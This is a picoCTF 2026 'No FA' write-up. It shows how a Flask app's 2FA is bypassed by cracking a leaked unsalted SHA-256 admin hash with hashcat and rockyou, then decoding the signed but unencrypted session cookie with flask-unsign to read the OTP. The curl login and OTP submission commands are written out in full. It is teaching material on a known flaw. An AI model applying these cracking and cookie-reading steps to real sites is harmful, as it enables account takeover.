picoCTF 2026 No FA Writeup: Reading the 2FA OTP from a Flask Session Cookie
Challenge description:
Seems like some data has been leaked! Can you get the flag?
This challenge hands you two things up front:
- application code:
app.py - leaked data:
users.db
So this isn't a pure black-box guessing game — it's a white-box audit challenge. The name No FA looks like it's hinting at 2FA / MFA, and the challenge says data was leaked, so the first reasonable assumption is:
Can the leaked data let us bypass 2FA?
Challenge info
- Challenge: No FA
- Category: Web Exploitation
- Difficulty: Medium
- Platform: picoCTF 2026
- Site type: a Flask web app with login + 2FA
- Challenge link: https://learn.cylabacademy.org/library/765
What a client-side session is: signing isn't encryption
The core of this challenge is a concept a lot of people mix up: where Flask's default session actually lives, and what it actually protects.
By default, Flask stores the session contents in a client-side cookie. That cookie is signed with the SECRET_KEY, whose purpose is to stop users from tampering with the contents — if you change it, the signature no longer matches.
But signing is not the same as encryption:
signed: you can't change it, but you can read it
encrypted: you can't read it
In other words, Flask's default session is a signed cookie, not an encrypted cookie. As long as you have that cookie in hand (and you can grab it with curl, Burp, or devtools), you can decode its contents. Keep that in mind and you're already halfway to solving this: any sensitive thing the server drops into the session is effectively readable by the user — and this challenge happens to put the 2FA OTP right in there.
Step 1: Download the white-box materials the challenge gives you
First create a folder:
cd /mnt/d/Download
mkdir -p nofa
cd nofa
Set the URLs:
BASE='http://foggy-cliff.picoctf.net:XXXXX'
APP='https://challenge-files.picoctf.net/.../app.py'
DB='https://challenge-files.picoctf.net/.../users.db'
Download:
curl -sS -L "$APP" -o app.py
curl -sS -L "$DB" -o users.db
file app.py users.db
You'll see:
app.py: Python script
users.db: SQLite 3.x database
Now the direction is clear:
First read app.py's login rules
Then look at what data is in users.db
Step 2: Start with app.py's routes
For a white-box challenge I usually start by reading the routes:
rg -n "route|login|flag|otp|2fa|session|password|hash|sqlite|users|admin" app.py
This challenge has very few routes:
@app.route("/")
def home():
...
@app.route('/login', methods=['GET', 'POST'])
def login():
...
@app.route('/two_fa', methods=['GET', 'POST'])
def two_fa():
...
@app.route('/logout')
def logout():
...
The home page logic:
@app.route("/")
def home():
if 'username' not in session or session['logged'] == 'false':
flash('Please login to access this page', 'red')
return redirect(url_for('login'))
flag = "No flag for you!!"
if session.get('username') == 'admin':
flag = os.getenv('FLAG')
return render_template("index.html", flag=flag)
From here we can lay out the conditions for getting the flag:
session must contain username
session['logged'] must not be false
session['username'] must equal admin
In other words:
We need to become an admin with logged=true
Step 3: Read the login and 2FA flow
The core login logic:
user = db.get_user_by_username(username)
if user and hashlib.sha256(password.encode()).hexdigest() == user['password']:
if user['two_fa']:
otp = str(random.randint(1000, 9999))
session['otp_secret'] = otp
session['otp_timestamp'] = time.time()
session['username'] = username
session['logged'] = 'false'
return redirect(url_for('two_fa'))
else:
session['username'] = username
session['logged'] = 'true'
return redirect(url_for('home'))
There are two key points here.
First, the password is:
hashlib.sha256(password.encode()).hexdigest()
which means what's stored in the database is a SHA-256 hash.
Second, if two_fa is true, an OTP is generated:
otp = str(random.randint(1000, 9999))
session['otp_secret'] = otp
session['otp_timestamp'] = time.time()
session['username'] = username
session['logged'] = 'false'
This is the subtle part.
It puts the OTP into session['otp_secret'],
and in Flask's default session, the session contents live in a client-side cookie that is signed to prevent tampering — but not encrypted.
So:
Can't just change it
But can read it
This is the very heart of the whole challenge.
Next, look at /two_fa:
@app.route('/two_fa', methods=['GET', 'POST'])
def two_fa():
if request.method == 'POST':
otp = request.form['otp']
stored_otp = session['otp_secret']
timestamp = session.get('otp_timestamp')
if stored_otp and otp == stored_otp and (time.time() - timestamp) < 120:
session['logged'] = 'true'
return redirect(url_for('home'))
else:
return render_template('2fa.html')
else:
return render_template('2fa.html')
This means:
As long as we know the otp_secret in the session
and send it back within 120 seconds
we can flip logged to true
Step 4: Look at the leaked users.db
The users.db the challenge gives you is SQLite.
You can inspect the schema with Python:
python3 - <<'PY'
import sqlite3
con = sqlite3.connect("users.db")
cur = con.cursor()
print("[tables]")
tables = [r[0] for r in cur.execute(
"SELECT name FROM sqlite_master WHERE type='table'"
)]
for t in tables:
print("-", t)
for t in tables:
print(f"\n=== schema: {t} ===")
for row in cur.execute(f"PRAGMA table_info({t})"):
print(row)
print(f"\n=== sample: {t} ===")
for row in cur.execute(f"SELECT * FROM {t} LIMIT 20"):
print(row)
PY
Tables:
users
The users schema:
id
username
email
password
two_fa
The admin row:
username = admin
email = [email protected]
password = c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67
two_fa = 1
From here we can draw two conclusions:
- admin has 2FA enabled, so after logging in it goes to
/two_fa - admin's password hash has leaked, and there's no salt
An unsalted SHA-256 is a great candidate for a dictionary attack.
Step 5: Crack the admin password hash
First save the admin hash to a file:
python3 - <<'PY'
import sqlite3
con = sqlite3.connect("users.db")
cur = con.cursor()
for row in cur.execute("SELECT username, password, two_fa FROM users WHERE username='admin'"):
print(row)
open("admin.sha256", "w").write(row[1] + "\n")
PY
cat admin.sha256
Using hashcat:
hashcat -m 1400 -a 0 admin.sha256 /usr/share/wordlists/rockyou.txt
hashcat -m 1400 admin.sha256 --show
Or john:
john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt admin.sha256
john --format=raw-sha256 --show admin.sha256
Result:
c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67:apple@123
Now we have the admin password:
apple@123
But we're not done yet, because admin has two_fa=1, so after logging in we still get stuck at 2FA.
Step 6: Log in as admin and grab the session cookie
Log in with the password we just cracked:
BASE='http://foggy-cliff.picoctf.net:XXXXX'
PASS='apple@123'
curl -sS -i -c cookies.txt -X POST "$BASE/login" \
--data-urlencode "username=admin" \
--data-urlencode "password=$PASS" \
-o login_admin.http
sed -n '1,140p' login_admin.http
cat cookies.txt
You'll see:
HTTP/1.1 302 FOUND
Location: /two_fa
Set-Cookie: session=...
This means:
The password is correct
But admin gets redirected to 2FA
and cookies.txt now holds the Flask session cookie.
Step 7: Decode the Flask session and read the OTP
First install the tool:
python3 -m pip install --user flask-unsign
Pull out the cookie:
COOKIE="$(awk '$6=="session"{print $7}' cookies.txt)"
Decode it:
python3 -m flask_unsign --decode --cookie "$COOKIE"
You'll see something like:
{
'logged': 'false',
'otp_secret': '3412',
'otp_timestamp': 1788098991.6469016,
'username': 'admin'
}
This is the most critical part of the whole challenge.
HttpOnly is not the answer to this problem.
HttpOnly only stops JavaScript in the browser from reading the cookie, but the user already has the cookie they received — with curl, Burp, browser devtools, or a proxy they can see the cookie value, and the contents of a Flask session are decodable.
It's signed, so you can't just change it:
Change logged=false to logged=true
That would normally require knowing the Flask SECRET_KEY to re-sign it, but this challenge doesn't need us to change the cookie at all — the OTP is already sitting in the cookie, and we just need to read it.
Step 8: Send the OTP and clear 2FA
Send the otp_secret back to /two_fa:
OTP='3412'
curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/two_fa" \
--data-urlencode "otp=$OTP" \
-o twofa.http
sed -n '1,120p' twofa.http
If it works, you'll see:
HTTP/1.1 302 FOUND
Location: /
Set-Cookie: session=...
This means /two_fa has already changed the session to:
session['logged'] = 'true'
Finally, check the home page:
curl -sS -b cookies.txt "$BASE/" -o home.html
grep -Eo 'picoCTF\{[^}]+\}' home.html
Result:
picoCTF{Redacted}
Key takeaways
The full chain, put together, is:
users.db is leaked
-> obtain admin's SHA-256 password hash
-> crack admin's password with a wordlist
-> log in as admin and land on /two_fa
-> the OTP is placed in the Flask client-side session cookie
-> the Flask session is signed, not encrypted
-> decode the cookie and read out otp_secret
-> POST the OTP
-> become an admin with logged=true
-> the home page shows the flag
The real problem isn't "the OTP is short enough to brute-force" — it's that the OTP is placed in a session cookie the user can read, and that's what turns 2FA into No FA.
The real breakthrough is understanding:
session['otp_secret'] = otp
and knowing that:
Flask's default session is a signed cookie, not an encrypted cookie
Signed only guarantees "you can't change it"; only encrypted guarantees "you can't see it" — and for this challenge, being able to see the OTP is all it takes.
Member discussion